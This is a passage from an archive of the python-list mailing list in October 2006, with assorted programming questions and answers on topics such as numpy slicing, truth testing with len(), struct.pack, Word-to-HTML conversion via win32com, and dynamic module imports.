-0400 Subject: Wax: problem subclassing TextBox In-Reply-To: <1161162072.705323.196030@m7g2000cwm.googlegroups.com> References: <1161162072.705323.196030@m7g2000cwm.googlegroups.com> Message-ID: <45367DBE.6000408@zephyrfalcon.org> alex23 wrote: > Hey everyone, > > I've just started looking at Wax and have hit a problem I can't > explain. I want an app to respond to every character input into a > TextBox. > > Here's a simple, working example: > > +++ > from wax import * > > class MainFrame(VerticalFrame): > def Body(self): > self.search = TextBox(self) > self.search.OnChar = self.OnChar > self.AddComponent(self.search, expand='h', border=5) > > def OnChar(self, event): > print 'OnChar:', event.GetKeyCode() > event.Skip() > > app = Application(MainFrame) > app.Run() > +++ > > This displays a TextBox and entering "abcd" results in: > > OnChar: 97 > OnChar: 98 > OnChar: 99 > OnChar: 100 > > Rather than defining the OnChar hook on the main frame, though, it > makes more sense (to me) to be defined on the TextBox itself, so I > tried subclassing it as follows: > > +++ > class NewTextBox(TextBox): > def OnChar(self, event): > print 'on char', event.GetKeyCode() > event.Skip() > > class MainFrame(VerticalFrame): > def Body(self): > self.search = NewTextBox(self) > self.AddComponent(self.search, expand='h', border=5) > +++ > > With the same input of 'abcd', I get the following: > on char 97 > on char 97 > on char 98 > on char 98 > on char 99 > on char 99 > on char 100 > on char 100 Heh, that's a bug. As a temporary solution, go to textbox.py and comment out the line in the __events__ dict that says 'Char': wx.EVT_CHAR. I will need to fix the way Wax handles events like these; this will probably be solved in the next release. -- Hans Nowak http://zephyrfalcon.org/ From jurgenex at hotmail.com Sat Oct 28 07:36:44 2006 From: jurgenex at hotmail.com (Jürgen Exner) Date: Sat, 28 Oct 2006 11:36:44 GMT Subject: what are the most frequently used functions? References: <1162020254.660829.124900@e3g2000cwe.googlegroups.com> Message-ID: > Xah Lee wrote: >> I had a idea today. Oh, really? You should mark your calendar and celebrate the day annually!!! >> I wanted to know what are the top most frequently used functions in >> the emacs lisp language. And the relationship with Perl, Python, Java is exactly what? jue From rolf.wester at ilt.fraunhofer.de Tue Oct 31 07:04:55 2006 From: rolf.wester at ilt.fraunhofer.de (Rolf Wester) Date: Tue, 31 Oct 2006 13:04:55 +0100 Subject: concatenating numpy arrays Message-ID: <45473c28$1@news.fhg.de> Hi, I want to concatenate two numpy arrays with shape (n1,n2) and (n1,n3) into a single array with shape (n1,n2+n3). I guess there is an elegant way to do this but I couldn't figure it out. So any help is very much appreciated. Regards Rolf From maxerickson at gmail.com Sat Oct 14 19:12:43 2006 From: maxerickson at gmail.com (Max Erickson) Date: Sat, 14 Oct 2006 23:12:43 +0000 (UTC) Subject: Ok. This IS homework ... References: <1160866295.553656.112730@m7g2000cwm.googlegroups.com> Message-ID: "spawn" wrote: > but I've been struggling with this for far too long and I'm about > to start beating my head against the wall. > -------------------------- > > I tried adding an additional "while" statement to capture the > second number, but it didn't seem to solve my problem. Help! > Reread whatever material you have about while loops, or just consult the python documentation, and then think about why your program(as posted anyway) is never printing done. Hope this isn't too much help, max From steve at REMOVE.THIS.cybersource.com.au Sat Oct 28 18:10:59 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Sun, 29 Oct 2006 09:10:59 +1100 Subject: question about True values References: <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> <1161973508.972142.109500@i42g2000cwa.googlegroups.com> <1162031090.711952.228280@m7g2000cwm.googlegroups.com> Message-ID: On Sat, 28 Oct 2006 03:24:50 -0700, Carl Banks wrote: > Not all objects that have a state of emptiness consider emptiness to be > false. In which case they should define __nonzero__ appropriately. In which case, calling code that assumes that len(obj) is a substitute for truth-testing will do the wrong thing. >> > Whether you test with "if a:" or "if len(a)>0", some objects are >> > going to be denied. >> >> If a class doesn't define __nonzero__ or __len__, it should. > > No, it often shouldn't. Okay, I want to qualify my statement: if a class doesn't define __nonzero__ or __len__, *and doesn't want the default Python behaviour of all instances evaluating as True*, then they should. > A. It's not always desirable for empty to be false. Numpy defines a > bunch of numeric array types that raise an exception when __nonzero__ > (actually nb_nonzero in the C API) is called. This is the correct > behavior for numpy. It makes no sense for numpy arrays to be used in a > boolean context, but they certainly can be empty. And, appropriate to the class, numpy arrays raise an exception when __nonzero__ is called -- just as they should. > B. Sometimes it's impossible to determine the state of emptiness. For > example, iterators. Since Guido has ruled that the protocol is that all iterators are True, there is no need for __nonzero__ since the default behaviour does the job. [snip] >> Perhaps this behaviour has changed in version 2.5, if so, I'd like to >> hear the rationalisation before I declare it a mistake. > > You haven't been paying attention. > > Yes, this behavior has been changed in 2.5. The built-in iterators > always return True in 2.5. But even in 2.4, it was not true for > iterators in general: Yes, you are right. I was fooled by a coincidence. > At no point could you count on an iterator returning False for empty, > unless you'd made it yourself. Neither "if a:" nor "if len(a)>0" is a > valid test for an empty iterator. Correct. Guido's decision is that iterators are always "Something" (that is, True in a truth context) even if they are exhausted. >> > P.S. binary trees do have length: it's the number of nodes, just as >> > the number of keys is the length of a dict. >> >> I don't know what you were taught, but I was taught that binary trees >> have height and breadth. > > It doesn't really matter. dicts and sets don't have a length, either. > Or if they do, it's the length of the hash table, not the number of > entries. Weren't you taught that? But Python uses len() to get the > number of items in a container. Any Pythonic implementation of a binary > tree class would use len() to return the number of entries in it. > Anything that uses indexing ought to define len(), if it can. In the binary tree: tree --> A A.left --> B, A.right --> C what's tree[0]? Should it be A (preorder), or B (inorder) or C (postorder)? > Overall, your objections don't really apply, since you're arguing what > ought to be whereas my argument is pragmatic. Practically speaking, in > realistic situations, "if len(a)>0" will work for a wider range of types > than "if a:". Well, that's a quantitative claim you're making there. Have you actually gone through, say, the built in types and checked how many have a length versus how many work in a truth-context? >>> import types >>> if types: ... print "Modules work with bool" ... Modules work with bool >>> if len(types)>0: ... print "Modules work with len" ... Traceback (most recent call last): File "", line 1, in ? TypeError: len() of unsized object "if len(a)>0:" only works for objects that define __len__. "if a:" works for any object that doesn't go to the trouble of specifically prohibiting it, as numpy arrays deliberately do. That's the Python way, and it is a deliberate design. -- Steven. From christer.xxx.jansson at ericsson.com Fri Oct 27 07:17:37 2006 From: christer.xxx.jansson at ericsson.com (Jansson Christer) Date: Fri, 27 Oct 2006 13:17:37 +0200 Subject: struct.pack bug? Message-ID: Hi all, I have discovered that in my Python 2.4.1 installation (on Solaris 8), struct.pack handles things in a way that seems inconsistent to me. I haven't found any comprehensible documentation over known issues with Python 2.4.1 so I try this... Here's the thing: >>> from struct import pack >>> pack('B', -1) Traceback (most recent call last): File "", line 1, in ? struct.error: ubyte format requires 0<=number<=255 >>> pack('H', -1) Traceback (most recent call last): File "", line 1, in ? struct.error: short format requires 0<=number<=USHRT_MAX >>> pack('L', -1) '\xff\xff\xff\xff' >>> Shouldn't pack('L', -1) raise an exception like the others, rather than behaving like pack('l', -1)? Is this fixed in later versions? (I don't have access to later versions and have failed to install any. Python 2.5 compiles nicely but "make install" fails without leaving any clues about how it failed and no installation troubleshooting guides to be found at python.org. Python 2.4.4 doesn't even compile since it apparently requires a newer libstdc++ than the one on our system... see why I'm asking the newsgroup?) -- -- Christer Jansson WiseOne AB +46 708 21 42 84 From onurb at xiludom.gro Mon Oct 9 07:11:36 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Mon, 09 Oct 2006 13:11:36 +0200 Subject: Bizzare lst length problem In-Reply-To: <1160313974.040577.125970@e3g2000cwe.googlegroups.com> References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com> <1160311703.533544.164250@i42g2000cwa.googlegroups.com> <1160312065.656400.275770@k70g2000cwa.googlegroups.com> <1160313168.683964.242350@c28g2000cwb.googlegroups.com> <1160313804.076356.278210@c28g2000cwb.googlegroups.com> <1160313974.040577.125970@e3g2000cwe.googlegroups.com> Message-ID: <452a2e69$0$3100$426a34cc@news.free.fr> Ben wrote: (OT : Ben, please stop top-posting, it's really annoying)0 > Ah - I found out why I had cast it to a string. cf my previous anwser on this point. > I had not, at that > point, worked out ho to pass the list by value rather than reference, There's nothing like 'pass by value/pass by reference' in Python. When passing arguments to a function, the arguments *names* are local to the function, and the arguments "values" are really the objects you passed to the function (not copies of these objects). > and so was casting to a string as a stopgap measure that I then forgot > about. Now the problem is fixed after this group told me how to pass a > list by value (by slicing the entire list) It's still not "passing by value". It's just passing a *copy* of the original list. -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From bdesth.quelquechose at free.quelquepart.fr Wed Oct 25 19:49:47 2006 From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers) Date: Thu, 26 Oct 2006 01:49:47 +0200 Subject: What's the best IDE? In-Reply-To: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> Message-ID: <453ff3a7$0$23866$426a74cc@news.free.fr> Hakusa at gmail.com a ?crit : > Recently I've had some problems with PythonWin when I switched to > Py2.5, tooka long hiatus, and came back. So now I'm without my god sent > helper, and I'm looking for a cool replacement, or some advocation to > reinstall/setup PyWin. But the Python website's list is irrefutably > long. It would take a month or two to test all of those products. So > I'm looking for experienced advocates. > > What's your favorite IDE? emacs > What do you like about it? 1. It's so complicated and ugly that just using it is enough to makes you look like a seasonned pro. 2. It gives me a reason to engage in holy wars with vim users. > It would be fine for a begginer, right? Certainly not. But you may want to look for other advices: http://groups.google.com/groups?as_q=best+IDE&as_ugroup=comp.lang.python From robertobech at gmail.com Wed Oct 4 19:53:18 2006 From: robertobech at gmail.com (Roberto Bechtlufft) Date: 4 Oct 2006 16:53:18 -0700 Subject: Curses and menus... Message-ID: <1160005998.792960.33410@m7g2000cwm.googlegroups.com> I'm trying hard to create my first useful python program: an rss reader in curses. I wrote some really ugly code to create a highlighting menu: the opprions are laid on the screen, and then pressing up and down i move a white bar to mark the item. Kind of like dialog menus. But the code is REALLY ugly. I read about curses libmenu, but seems like it wasn't ported to Python... this sounds weird to me. Why wasn't it ported? Maybe there is an easier way to create these menus. I've already tried urwid. but I got a bit confused over the syntax.. Maybe I could use dialog and ncurses together. Do these two thing mix together nicely, or is it a bad idea? From schliep at molgen.mpg.de Wed Oct 4 04:50:34 2006 From: schliep at molgen.mpg.de (Alexander Schliep) Date: Wed, 04 Oct 2006 10:50:34 +0200 Subject: tkinter to mpeg References: <1159805893.786448.191810@i42g2000cwa.googlegroups.com> Message-ID: claird at lairds.us (Cameron Laird) writes: > In article , > Thomas Jollans wrote: >>On Mon, 02 Oct 2006 09:18:13 -0700, "dug" let this >>slip: >>> I have a small program that moves some shapes around a tkinter canvas. >>> Is there any way to save the output in a movie file, maybe mpeg? >> >>you can record any app with special programs designed for the job, such as >>vnc2swf (which produces macromedia flash), vncrec (which produces a >>special format readable by transcode) or istanbul (which produces >>ogg/theora). I doubt Tk would have a special mechanism to do this. > . > I've actually been thinking about implementing just such a special > mechanism. Let me know if there's sufficient interest. I think it would be most helpful to have a general way to dump the contents of a Tkinter canvas including animated elements to some sort of file. However, I would think that mpeg will look pretty bad compared to SVG. In fact, as SVG renders much prettier (anti-aliasing etc.) than Tkinter, the exported file would look much better. I actually started coding SVG output for Gato (http://gato.sf.net). Some of the things I realized: - SVG support is somewhat limited on *nix. - The SMIL type animations are even less supported. One would have to resort to javascript. There is SmilScript which implements a SMIL subset for Firefox 2.0? - Due to a bug in the SVG 1.1 specification multi-colored lines with same color arrow-heads are difficult to draw. Supposedly, this will be fixed in 1.2. - The geometry works differently in SVG compared to Tk. Arrow heads are stuck onto the end of a line for example. It would be trivial to wrap the Tkinter canvas in an object which records what function is called when. For the basic canvas items mapping this to SVG is quite straightforward. Alexander PS: There is some python code to output SVG, which I didn't use since I wanted to work on my applications abstraction level. http://www2.sfk.nl/svg http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/325823 -- Alexander Schliep schliep at molgen.mpg.de http://algorithmics.molgen.mpg.de From fred at adventistcare.org Tue Oct 3 20:50:14 2006 From: fred at adventistcare.org (Sells, Fred) Date: Tue, 3 Oct 2006 20:50:14 -0400 Subject: CGI -> mod_python Message-ID: <1A4BF05172023E468CB6E867923BC90402B6E2B7@accmail2.sunbelt.org> I'm confused. is WSGI only a specification, or are there implementations, and if so which ones From Eric_Dexter at msn.com Sun Oct 15 00:22:29 2006 From: Eric_Dexter at msn.com (Eric_Dexter at msn.com) Date: 14 Oct 2006 21:22:29 -0700 Subject: .doc to html and pdf conversion with python In-Reply-To: <1160856811.227982.233820@h48g2000cwc.googlegroups.com> References: <1160856811.227982.233820@h48g2000cwc.googlegroups.com> Message-ID: <1160886149.033558.318810@e3g2000cwe.googlegroups.com> google won't do a good job with .doc files but they may do pdf to html and back.. It's per each I just mentioned it to make fun of them here is my resume converted from a monster.com .doc file http://docs.google.com/View?docid=dftrj73t_3cfwjdv Luap777 at gmail.com wrote: > Alexander Klingenstein wrote: > > I need to take a bunch of .doc files (word 2000) which have a little text including some tables/layout and mostly pictures and comvert them to a pdf and extract the text and images > separately too. If I have a pdf, I can do create the html with pdftohtml called from python with > popen. However I need an automated way to converst the .doc to PDF first. > > Is there some reason you really want to convert to PDF first? You can > get much better HTML right from the Word doc. You'll lose a lot of info > going from PDF to HTML. > > Something like this can open doc in Word, save as HTML, then close doc. > > import os, win32com.client > > wdApp = win32com.client.Dispatch("Word.Application") > wdApp.Visible = 1 > > def SaveDocAsHTML(docPath, htmlPath): > doc = wdApp.Documents.Open(docPath) > # See > mk:@MSITStore:C:\Program%20Files\Microsoft%20Office\OFFICE11\1033\VBAWD10.CHM::/html/womthSaveAs1.htm > # in Word VBA help doc for more info. > > # Saves all text and formatting with HTML tags so that the > resulting document can be viewed in a Web browser. > doc.SaveAs(htmlPath, win32com.client.constants.wdFormatHTML) > # Saves text with HTML tags with minimal cascading style sheet > formatting. The resulting document can be viewed in a Web browser. > #doc.SaveAs(htmlPath, > win32com.client.constants.wdFormatFilteredHTML) > doc.Close() > > And if you aren't satisfied with the ugly HTML you're likely to get, > you can try running ?Tidylib (http://utidylib.berlios.de/) on the > output after this step also. > > Thank you, > Paul From martin at v.loewis.de Mon Oct 23 18:50:22 2006 From: martin at v.loewis.de (=?ISO-8859-15?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 24 Oct 2006 00:50:22 +0200 Subject: Socket module bug on OpenVMS In-Reply-To: <453ba3a8$0$322$e4fe514c@news.xs4all.nl> References: <453ba3a8$0$322$e4fe514c@news.xs4all.nl> Message-ID: <453D472E.2080606@v.loewis.de> Irmen de Jong schrieb: > In my opinion Python's socket module itself could implement these > workarounds. That would make user code a lot cleaner and less > error prone, and more portable. What do other people think? It depends: when VMS defines MSG_WAITALL, but doesn't implement it correctly, then Python probably shouldn't expose it. Implementing recv() "splitting" is *not* something that Python could do itself. The question is how you do error reporting for partial results, and neither exception handling nor error codes are particularly well-suited to such an error model: these APIs all assume an all-or-none failure model (i.e. if receiving fails, nothing has happened so far). If you were to split a large recv call into multiple smaller ones, there wouldn't be a good way to communicate both the partial result and the error that you got on the last call. Perhaps you had some different work-around in mind? Regards, Martin From oliphant.travis at ieee.org Thu Oct 12 19:03:05 2006 From: oliphant.travis at ieee.org (Travis Oliphant) Date: Thu, 12 Oct 2006 17:03:05 -0600 Subject: numpy slice: create view, not copy In-Reply-To: <12issm3bfcmh15e@corp.supernews.com> References: <12issm3bfcmh15e@corp.supernews.com> Message-ID: K. Jansma wrote: > Hi, > > given an array: > > import numpy > a = numpy.arange(100).reshape((10,10)) > print a > > [[ 0 1 2 3 4 5 6 7 8 9] > [10 11 12 13 14 15 16 17 18 19] > [20 21 22 23 24 25 26 27 28 29] > [30 31 32 33 34 35 36 37 38 39] > [40 41 42 43 44 45 46 47 48 49] > [50 51 52 53 54 55 56 57 58 59] > [60 61 62 63 64 65 66 67 68 69] > [70 71 72 73 74 75 76 77 78 79] > [80 81 82 83 84 85 86 87 88 89] > [90 91 92 93 94 95 96 97 98 99]] > > > I'd like to create a new array that is a view of a, i.e. it shares data. If > a is updated, this new array should be automatically 'updated'. > > e.g. the array west should be a view of a that gives the element at the left > of location i,j in a. > a[i,j] = west[i,j+1] > > west can be created using: > > a[:,range(-1,a.shape[1]-1)] > > As you can see, this also defines periodic boundaries (i.e. west[0,0] = 9) > but it seems that this returns a copy of a, not a view. > How can I change the slice definition in such a way it returns a view? You can't get periodic boundary conditions but a[:,1::] should give you (part of) the view you are looking for. -Travis From mail at microcorp.co.za Sat Oct 28 03:55:30 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Sat, 28 Oct 2006 09:55:30 +0200 Subject: ANN: wxPython 2.7.1.3 References: <45410281.4020302@alldunn.com> <8233478f0610270737tda65dabj5dffba46a12e0fea@mail.gmail.com> Message-ID: <021901c6fab1$73113220$03000080@hendrik> "Johann C. Rocholl" wrote: 8<-------------------------------------- > Oh, it's fun to be a speling fanatic! :-) six munce ago I could not even spell 'fatanic' - and now I are one... I wander what a speling fanatic is? - Hendrik From max at alcyone.com Fri Oct 6 06:18:02 2006 From: max at alcyone.com (Erik Max Francis) Date: Fri, 06 Oct 2006 03:18:02 -0700 Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy Singleton In-Reply-To: References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com> <1160088907.689743.252500@m7g2000cwm.googlegroups.com> <1160100015.211649.310540@m73g2000cwd.googlegroups.com> <4omn7jFfe26cU1@uni-berlin.de> Message-ID: Steve Holden wrote: > I have to say I find the colour of your socks *much* more interesting. Especially what with the skulls and all. -- Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/ San Jose, CA, USA && 37 20 N 121 53 W && AIM, Y!M erikmaxfrancis Can I lay with you / As your wife -- India Arie From johnjsal at NOSPAMgmail.com Thu Oct 26 16:50:49 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Thu, 26 Oct 2006 20:50:49 GMT Subject: which one of these is better? In-Reply-To: References: Message-ID: Fredrik Lundh wrote: > This wasn't very difficult, was it? Well when you put it that way, no! :) But one thing that caught me up was what happens if the initial expression raises an exception? For example: with open('file.txt'): #do stuff If the file can't be opened for whatever reason, does __exit__ get called, or can it not get that far if the expression doesn't evaluate? I guess my thinking was this: before the with statement came along, the idiom for opening files was something like this: try: open('file.txt') #do stuff except IOError: #more stuff except OtherError: #yet more and so forth (and all this was wrapped in a try/finally blocked to close the file, I think). But now that we can use the 'with' statement, it seems like the initial opening of the file (previously "checked" in the try block) is now just floating around and still requires a try block wrapped around it in case something goes wrong. From eldiener_no_spam_here at earthlink.net Mon Oct 9 18:22:45 2006 From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam) Date: Mon, 09 Oct 2006 22:22:45 GMT Subject: Python component model In-Reply-To: <1160429943.671916.43720@m73g2000cwd.googlegroups.com> References: <1160429943.671916.43720@m73g2000cwd.googlegroups.com> Message-ID: goon wrote: >> or IBM's Eclipse for Java > > Or Eclipse for Python using PyDev? [0] Those are very nice features but there is no re-usable Python bean support like there is a Java bean. That was my initial point. From fredrik at pythonware.com Sun Oct 8 14:44:02 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 08 Oct 2006 20:44:02 +0200 Subject: Can't get around "IndexError: list index out of range" In-Reply-To: <1160332330.684420.276560@e3g2000cwe.googlegroups.com> References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com> <1160179043.266322.311940@i3g2000cwc.googlegroups.com> <1160198110.064741.133700@k70g2000cwa.googlegroups.com> <1160241982.216511.281950@m73g2000cwd.googlegroups.com> <1160262952.734016.306150@e3g2000cwe.googlegroups.com> <452846fe.0@entanet> <1160267115.309599.26160@e3g2000cwe.googlegroups.com> <1160269607.522241.311160@m73g2000cwd.googlegroups.com> <1160332330.684420.276560@e3g2000cwe.googlegroups.com> Message-ID: MonkeeSage wrote: > With list.has_index() / get(), the following (pretty common I think) > idiom: > > try: > data = some_unknown_seq[2] > except IndexError: > data = None > if data: ... umm. you could at least write: try: data = some_unknown_seq[2] except IndexError: pass else: ... deal with data ... but "let's hypergeneralize and treat sequences and mappings as the same thing" proposals are nothing new; a trip to the archives might be help- ful. From martin at v.loewis.de Mon Oct 9 18:36:49 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 10 Oct 2006 00:36:49 +0200 Subject: pythonw documentation? In-Reply-To: <1160424406.457796.312970@c28g2000cwb.googlegroups.com> References: <1160424406.457796.312970@c28g2000cwb.googlegroups.com> Message-ID: <452ACF01.6080701@v.loewis.de> Roger Miller schrieb: > However on a more general note, the only references to pythonw that I > could find in the Python 2.5 documentation are in the Macintosh > section. Have I overlooked something, or is this a deficiency that > should be addressed? You are right that it currently isn't documented (although it is mentioned in PCbuild/readme.txt). When you submit a report to sf.net/projects/python, please make a recommendation what text you'd like to see in what place. It would be best if you could provide a patch, but somebody will certainly be able to work a plain-text paragraph into a TeX patch. Regards, Martin From __peter__ at web.de Tue Oct 31 04:12:20 2006 From: __peter__ at web.de (Peter Otten) Date: Tue, 31 Oct 2006 10:12:20 +0100 Subject: scared about refrences... References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com> <1162242647.481298.251320@b28g2000cwb.googlegroups.com> <1162248250.994200.13450@m7g2000cwm.googlegroups.com> <1162254191.507805.276640@k70g2000cwa.googlegroups.com> Message-ID: J. Clifford Dyer wrote: > Thanks, that's very helpful.??Playing?with?your?code?a?bit,?I?narrowed > the problem down to the array.array() structure.??Looking?at > help(array), there's a method defined called __deepcopy__, which, it > seems, takes no arguments, while deepcopy is passing it one argument. > Looks like a bug in the array module to me.??Maybe?others?with?more Fixed in subversion: http://www.python.org/sf/1545837 From bryan.leber at fischerinternational.com Tue Oct 3 10:53:39 2006 From: bryan.leber at fischerinternational.com (Bryan Leber) Date: Tue, 3 Oct 2006 10:53:39 -0400 Subject: split() Message-ID: <3671C2002ECC9149B2B5509290F533A64579D5@fiscex.FISCHERINTERNATIONAL.COM> Gabriel, actually what I did was go ahead and write the whole sequence of the commit(i.e. PATCH_NUMBER, BUG_NUMBER, etc) to a file, and then I read in that file and put them into a list. Then I used line.startswith() to go through and pull out the OVERVIEW only:-) Thanks, Bryan Leber Developer Fischer International Corporation www.fischerinternational.com bryan.leber at fischerinternational.com Cell:(239)963-5267 Secure Your Risk. Increase Your Bottom Line. (tm) ************************************************************************************************************************** This mail message may contain confidential and privileged information from Fischer International which is protected. Any unauthorized review, use, disclosure or distribution by any means is prohibited. If you are not the intended recipient, please contact the sender by reply email and destroy all copies of the original message. ************************************************************************************************************************** -------------- next part -------------- An HTML attachment was scrubbed... URL: From michele.simionato at gmail.com Wed Oct 18 05:18:07 2006 From: michele.simionato at gmail.com (Michele Simionato) Date: 18 Oct 2006 02:18:07 -0700 Subject: creating many similar properties In-Reply-To: <1161161181.169918.126210@b28g2000cwb.googlegroups.com> References: <1161153829.566566.73960@b28g2000cwb.googlegroups.com> <1161158181.103138.294330@b28g2000cwb.googlegroups.com> <1161160057.392965.323330@m73g2000cwd.googlegroups.com> <1161160436.888246.21020@m73g2000cwd.googlegroups.com> <1161161181.169918.126210@b28g2000cwb.googlegroups.com> Message-ID: <1161163087.751082.225880@b28g2000cwb.googlegroups.com> Carl Banks wrote: > Come on, I don't think anyone's under the impression we're being > indiscriminate here. Ok, but I don't think that in the case at hand we should recommend a metaclass solution. Michele Simionato From mrquantum at holon.at Wed Oct 4 13:45:03 2006 From: mrquantum at holon.at (mrquantum) Date: Wed, 04 Oct 2006 19:45:03 +0200 Subject: string: __iter__()? References: <7e8bf$452385eb$506d0b9f$12642@news.chello.at> <1159974698.293746.256030@c28g2000cwb.googlegroups.com> Message-ID: <3fa72$4523f31f$506d0b9f$16123@news.chello.at> John Roth: > The iter() builtin creates an iterator for any > object that obeys the sequence protocol. > Since strings obey the sequence protocol there > is no real advantage to adding yet another > protocol to an already very fat object. Okay! > This does, however, mean that testing > for the presence of __iter__ is incomplete; > one also has to test for __getattr__ if the > object doesn't have an __Iter__ method. Should be __getitem__ and not __getattr__!? > Depending on your program logic, it > may be easier to just use iter() and > handle the exception if it fails. Okay, I'll do it this way - except will then raise a TypeError, as I just found in the docs! > See PEP 234 for a discussion of the > reasons for doing it this way. > Thanks for pointing this out! Chris PS: Thanks to all posters in this thread for your illuminative comments! From fredrik at pythonware.com Wed Oct 18 03:39:36 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 18 Oct 2006 09:39:36 +0200 Subject: Where to find pydoc? In-Reply-To: <3ACF03E372996C4EACD542EA8A05E66A0615B9@mailbe01.teak.local.net> References: <3ACF03E372996C4EACD542EA8A05E66A0615B9@mailbe01.teak.local.net> Message-ID: Wijaya Edward wrote: > Can you be specific on which URLs can I find "python-tools". > Cause I tried the one under easy_install, I still can't find it. it's an RPM. you should be able to get it from where you get other RedHat packages. From ewijaya at i2r.a-star.edu.sg Thu Oct 5 00:54:23 2006 From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward) Date: Thu, 05 Oct 2006 12:54:23 +0800 Subject: Hands on Documentation for Python methods and Library Message-ID: <3ACF03E372996C4EACD542EA8A05E66A061588@mailbe01.teak.local.net> Hi, One can do the following with Perl $ perldoc -f chomp $ perldoc -f function_name or $ perldoc List::MoreUtils $ perldoc Some::Module Can we do the same thing in Python? -- Edward SINGAPORE ------------ Institute For Infocomm Research - Disclaimer ------------- This email is confidential and may be privileged. If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you. -------------------------------------------------------- From onurb at xiludom.gro Fri Oct 13 07:23:52 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Fri, 13 Oct 2006 13:23:52 +0200 Subject: Python component model In-Reply-To: References: <452b7aae$0$306$426a74cc@news.free.fr> <1160562945.079609.98640@m7g2000cwm.googlegroups.com> <452f51a3$0$30999$426a74cc@news.free.fr> Message-ID: <452f7749$0$6171$426a34cc@news.free.fr> Fredrik Lundh wrote: > Bruno Desthuilliers wrote: > >>>> Meanwhile, the Web programming standardisation scene remains >>>> stagnant. >>> Aw, come on. The Python web programming standardisation wars are over, for now. >>> There's Django, and there's TurboGears, >> And there's Pylons... > > and a zillion other more or less interesting research projects. I don't think Pylons qualifies as a "research project". FWIW, I mentionned it because, while (yet) less "buzzworded" than Django and TG, it's really in the same category - but using the wsgi stack approach instead of the monolithic one. And MHO is that it could really become the next big thing in Python's web programming ecosystem. > I don't see any traces > of the kind of ecosystems and market awareness that exist for Zope, Django, and > TurboGears (or for that matter, Rails and Mason), for any other Python web pro- > gramming tool. Yes, true. -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From michele.simionato at gmail.com Thu Oct 19 03:49:46 2006 From: michele.simionato at gmail.com (Michele Simionato) Date: 19 Oct 2006 00:49:46 -0700 Subject: creating many similar properties In-Reply-To: References: <1161153829.566566.73960@b28g2000cwb.googlegroups.com> <1161158181.103138.294330@b28g2000cwb.googlegroups.com> <1161159489.236906.49320@i3g2000cwc.googlegroups.com> Message-ID: <1161244185.899198.145420@i3g2000cwc.googlegroups.com> James Stroud wrote: > However, I think that what you are saying about metaclasses being > brittle relates more to implementation than language. In theory, these > should be equivalent: > > (1) class Bob(object): pass > (2) Bob = type('Bob', (), {}) > > And indeed a cursory inspection of the resulting classes show that they > are indistinguishable. > > That they wouldn't be seems an implementation bug and perhaps that bug > should be fixed rather than promoting the avoidance of (2) because it > does not create classes that behave as number (1). You got something wrong ;) 'type' is the builtin metaclass, it works, I have nothing against it, and (1) and (2) are *exactly* equivalent. My gripe is against *custom* metaclasses, i.e. subclasses of 'type'. The paper is all about avoiding custom metaclasses and using 'type' instead (i.e. use the __metaclass__ hook, but not custom metaclasses). It is the same trick used by George Sakkis in this same thread. Michele Simionato From allmanj at cp.dias.ie Mon Oct 16 12:33:05 2006 From: allmanj at cp.dias.ie (John Allman) Date: Mon, 16 Oct 2006 17:33:05 +0100 Subject: dynamic module loading via __import__, nonetype? Message-ID: <4533B441.9010405@cp.dias.ie> Hi all, I'm trying to create a setup which allows a program to request an object using strings and get an object of that type. It appears to be mostly working but i have difficulties if i attempt to load a module at runtime and then request an object of that type. Essentially, my code works as follows: I have a registry class which has a method to register a class. It inserts an entry into a dictionary using a tuple of two strings (read from attributes of the class) that points to the class. It also has a method which will create an object of that class type which takes two strings as an argument. Every class i want to use this technique inherits from a class which uses a custom metaclass. The custom metaclass' __init__ function registers them with the registry class. The registry class has another method which allows you to specify a path to place your plugins in. In reality it merely appends this string to sys.path. The registry "create" function has a little extra smarts in that if it can't find the class already in the dictionary, it will attempt to load the appropriate module. It does this by using __import__ and uses the two strings supplied with a dot in between as the module name. If i manually import a module, this method works a treat, however if i attempt to dynamically load a module at runtime the create method fails with the following error: TypeError: 'NoneType' object is not callable I can see that the module is getting imported as i have set print statements in the custom metaclass to let me know when it is registering a new class. I can only conclude then that there is some difference between using the import statement and the __import__ function. I don't want to clutter the mailing list so i haven't attached any code, but i certainly can supply it assuming the answer isn't something obvious i've missed. Am i going about this completely the wrong way? Is there already an established approach for an auto-registering, dynamically loading plugin setup? Any help greatly appreciated. I'm not subscribed to the list, so please cc me in any replies. Thanks, John Allman From cus_aba at yahoo.com Mon Oct 16 11:01:13 2006 From: cus_aba at yahoo.com (aba cus) Date: Mon, 16 Oct 2006 08:01:13 -0700 (PDT) Subject: set operations on dictionaries? Message-ID: <20061016150113.49209.qmail@web58106.mail.re3.yahoo.com> A suggestion: In effect, sets are dictionaries without values. (Even thought their implementation is different) My suggestion would be to generalise set operations (such as union, intersection, etc.) to work for dictionaries 